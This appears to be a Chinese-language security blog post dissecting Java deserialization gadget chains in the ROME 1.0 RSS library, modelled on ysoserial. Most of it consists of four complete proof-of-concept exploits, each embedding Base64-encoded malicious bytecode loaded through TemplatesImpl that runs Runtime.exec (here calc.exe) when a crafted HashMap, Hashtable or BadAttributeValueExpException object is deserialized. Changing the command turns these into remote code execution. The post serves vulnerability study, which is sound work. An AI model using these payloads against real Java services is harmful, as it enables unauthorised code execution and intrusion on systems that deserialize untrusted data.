简介

ROME是一个开源的用于RSS和Atom订阅的Java框架。

ROME包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的Java对象,或者是通用的规范化SyndFeed类,让您可以处理数据,而无需考虑传入或传出的feed类型。

环境搭建

环境:

  • rome 1.0
  • jdk 8u192

依赖:

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

相关类和方法

ObjectBean.toString

在com.sun.syndication.feed.impl.ObjectBean类中存在toString方法:
image-20251207200521764

其中_toStringBean可通过两个构造函数控制:
image-20251207200613916

image-20251207200625718

这里创建了一个toStringBean对象:

image-20251207201034019

toStringBean.toString

image-20251207201122688

主要用于生成对象的字符串表示,最后调用了**toStringBean.toString(prefix)**方法:
image-20251207201306174

该方法用于生成对象的字符串表示。它使用BeanIntrospector获取目标类的所有属性描述符,遍历所有无参、非Object类的getter方法,调用这些方法获取属性值

所以这里就能看变量是否可控来尝试执行TemplatesImpl.getOutputProperties方法加载字节码

ObjectBean.hashCode

image-20251207211336245

会调用**_equalsBean.beanHashCode()**方法

image-20251207211450316

image-20251207211527403

会调用_obj.toString().hashCode()

EqualsBean.equals

image-20251209191050578

调用EqualsBean.beanEquals方法:

image-20251207222806205

先比较两个JavaBean对象是否相等,然后获取_beanClass属性读取方法(getter)并调用

ROME链分析

BadAttributeValueExpException链分析

在前面相关类和方法中我们知道toStringBean.toString方法是能够获取_beanClass的所有属性描述符,并遍历执行getter方法,所以我们这里就需要思考能否将他控制为Templates.class

image-20251207202827168

image-20251207202836189

toStringBean类存在两个构造函数给_beanClass赋值。

而前面我们知道ObjectBean的构造函数是能创建ToStringBean对象的:

image-20251207203214987

所以完全是可控的

image-20251207203434685

同时由于调用getter方法是通过反射调用,所以需要**_obj**为TemplatesImpl的一个实例对象

ObjectBean.toString是能调用**_toStringBean.toString方法的,所以只需要找一条链子能触发ObjectBean.toString**

这里很容易想到CC5中的BadAttributeValueExpException类,在它的readObject方法中:

image-20251207204419924

会调用valobj.toString()方法,所以只用传入valobj为ObjectBean即可

构造:

1
2
3
4
5
6
BadAttributeValueExpException bad=new BadAttributeValueExpException(null);
ObjectBean objectBean=new ObjectBean(Templates.class,impl);

Field v=bad.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(objectBean,"val");

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class rome_1 {
public static void main(String[] args) throws Exception {
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl=new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

BadAttributeValueExpException bad=new BadAttributeValueExpException(null);
ObjectBean objectBean=new ObjectBean(Templates.class,Impl);

Field v=bad.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(bad,objectBean);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bad);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20251207205739099

调用链:

1
2
3
4
5
6
7
8
9
ObjectInputStream -> readObject()
BadAttributeValueExpException -> readObject()
ObjectBean -> toString()
toStringBean -> toString()
TemplatesImpl -> getOutputProperties()
TemplatesImpl -> newTransformer()
TemplatesImpl -> getTransletInstance()
TemplatesImpl -> defineTransletClasses()
TemplatesImpl -> defineClass()

ObjectBean链分析

在ysoserial中,选取的是HashMap作为链子的起始点:

image-20251207211008685

会调用hash方法:

image-20251207211038949

这里key是存入HashMap的键,可控

而ysoserial是调用的ObjectBean.hashCode方法:

image-20251207211714388

会调用**_equalsBean.beanHashCode()**方法

image-20251207211450316

image-20251207211527403

这里就会调用toString方法

而这里的**_obj**是一个恶意的ObjectBean

但我们还需要一个ObjectBean,this._beanClass中的Class需要为com.sun.syndication.feed.impl.ObjectBean类的Class,不然会报错

构造:

1
2
3
4
5
ObjectBean bean=new ObjectBean(TemplatesImpl.class,Impl);
ObjectBean Bean=new ObjectBean(BeanClass.class,bean);

HashMap map=new HashMap();
map.put(Bean,"b1uel0n3");

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import sun.plugin.com.BeanClass;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class rome_2 {
public static void main(String[] args) throws Exception {
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl=new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

ObjectBean bean=new ObjectBean(TemplatesImpl.class,Impl);
ObjectBean Bean=new ObjectBean(ObjectBean.class,bean);

HashMap map=new HashMap();
map.put(Bean,"b1uel0n3");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20251207215043671

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
ObjectInputStream -> readObject()
HashMap -> readObject()
HashMap -> hash(key)
ObjectBean -> hashCode()
EqualsBean -> beanHashCode()
ObjectBean -> toString()
toStringBean -> toString()
TemplatesImpl -> getOutputProperties()
TemplatesImpl -> newTransformer()
TemplatesImpl -> getTransletInstance()
TemplatesImpl -> defineTransletClasses()
TemplatesImpl -> defineClass()

EqualsBean链分析

在equalsBean.beanEquals方法中存在着与toStringBean.toString类似的机制,都会获取_beanClass的所有属性描述符包括getter方法,然后利用反射调用指定对象的这些方法:
image-20251207223230074

而EqualsBean.equals能调用该方法。所以我们需要找到一个链子能调用EqualsBean.equals方法,这里我们我容易想到CC7链,Hashtable.readObject:

image-20251207223528751

调用reconstitutionPut方法:

image-20251207223650505

这里按CC7的剧情会调用LazyMap.equals方法,但LazyMap并没有该方法就会调用父类AbstractMapDecorator的equals方法,然后调用hashMap.equals方法:

image-20251208193555425

由于HashMap没有实现equals方法,会调用AbstructMap方法的equals方法:

image-20251208193724649

方法下存在一处调用hashMap的value的equals方法

所以最后是调用hashmap.equals方法

所以需要传入的value为EqualsBean

image-20251208194202174

同时需要满足bean2不为null且bean2属于TemplatesImpl的子类或者实现类

那么需要保证两个hashmap具有相同元素,我们可以这样构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
EqualsBean bean = new EqualsBean(String.class, "b1uel0n3");

HashMap hashMap1 = new HashMap();
hashMap1.put("AaAaAa", bean);
hashMap1.put("BBAaBB", Impl);

HashMap hashMap2 = new HashMap();
hashMap2.put("AaAaAa", Impl);
hashMap2.put("BBAaBB", bean);

Hashtable map = new Hashtable();
map.put(hashMap1, "1");
map.put(hashMap2, "2");

setValue(bean, "_beanClass", Templates.class);
setValue(bean, "_obj", Impl);

在调用hashtable.put方法时,会触发一次equals方法导致报错。EqualsBean的equals方法的调用跟Objectbean的相同,我们可以实例化EqualsBean对象作为equals方法的触发对象,也方便利用反射修改属性值

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class rome_3 {
public static void main(String[] args) throws Exception {
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl=new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

EqualsBean bean = new EqualsBean(String.class, "b1uel0n3");

HashMap hashMap1 = new HashMap();
hashMap1.put("AaAaAa", bean);
hashMap1.put("BBAaBB", Impl);

HashMap hashMap2 = new HashMap();
hashMap2.put("AaAaAa", Impl);
hashMap2.put("BBAaBB", bean);

Hashtable map = new Hashtable();
map.put(hashMap1, "1");
map.put(hashMap2, "2");

setValue(bean, "_beanClass", Templates.class);
setValue(bean, "_obj", Impl);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

Hashtable链

在前面的分析中其实我们可以注意到其实会调用hashcode方法,那么我们直接就可以利用ObjectBean.hashCode

构造:

1
2
3
4
5
6
7
8
9
10
11
ToStringBean ToStringBean = new ToStringBean(Object.class, "b1uel0n3");
ObjectBean Bean = new ObjectBean(ToStringBean.class, ToStringBean);

HashMap hashmap = new HashMap();
hashmap.put(Bean, "b1uel0n3");

Hashtable map=new Hashtable();
map.put(hashmap, "1");

setValue(ToStringBean, "_obj", Impl);
setValue(ToStringBean, "_beanClass", Templates.class);

注意Hashtable.put依然会执行一次hashCode方法,所以同样需要先传入假的对象,由于是ObjectBean.hashCode->EqualsBean.beanEquals->ToStringBean.toString->getter,最后是通过传入ToStringBean恶意对象,所以只用它先传入假的即可

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

//hashtable链
public class rome_4 {
public static void main(String[] args) throws Exception {
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl=new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

ToStringBean ToStringBean = new ToStringBean(Object.class, "b1uel0n3");
ObjectBean Bean = new ObjectBean(ToStringBean.class, ToStringBean);

HashMap hashmap = new HashMap();
hashmap.put(Bean, "b1uel0n3");

Hashtable map=new Hashtable();
map.put(hashmap, "1");

setValue(ToStringBean, "_obj", Impl);
setValue(ToStringBean, "_beanClass", Templates.class);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20251209195640791

调用链:

1
2
3
4
5
6
7
8
9
10
11
ObjectInputStream -> readObject()
Hashtable -> readObject()
Hashtable -> reconstitutionPut()
ObjectBean -> hashCode()
EqualsBean -> beanHashCode()
toStringBean -> toString()
TemplatesImpl -> getOutputProperties()
TemplatesImpl -> newTransformer()
TemplatesImpl -> getTransletInstance()
TemplatesImpl -> defineTransletClasses()
TemplatesImpl -> defineClass()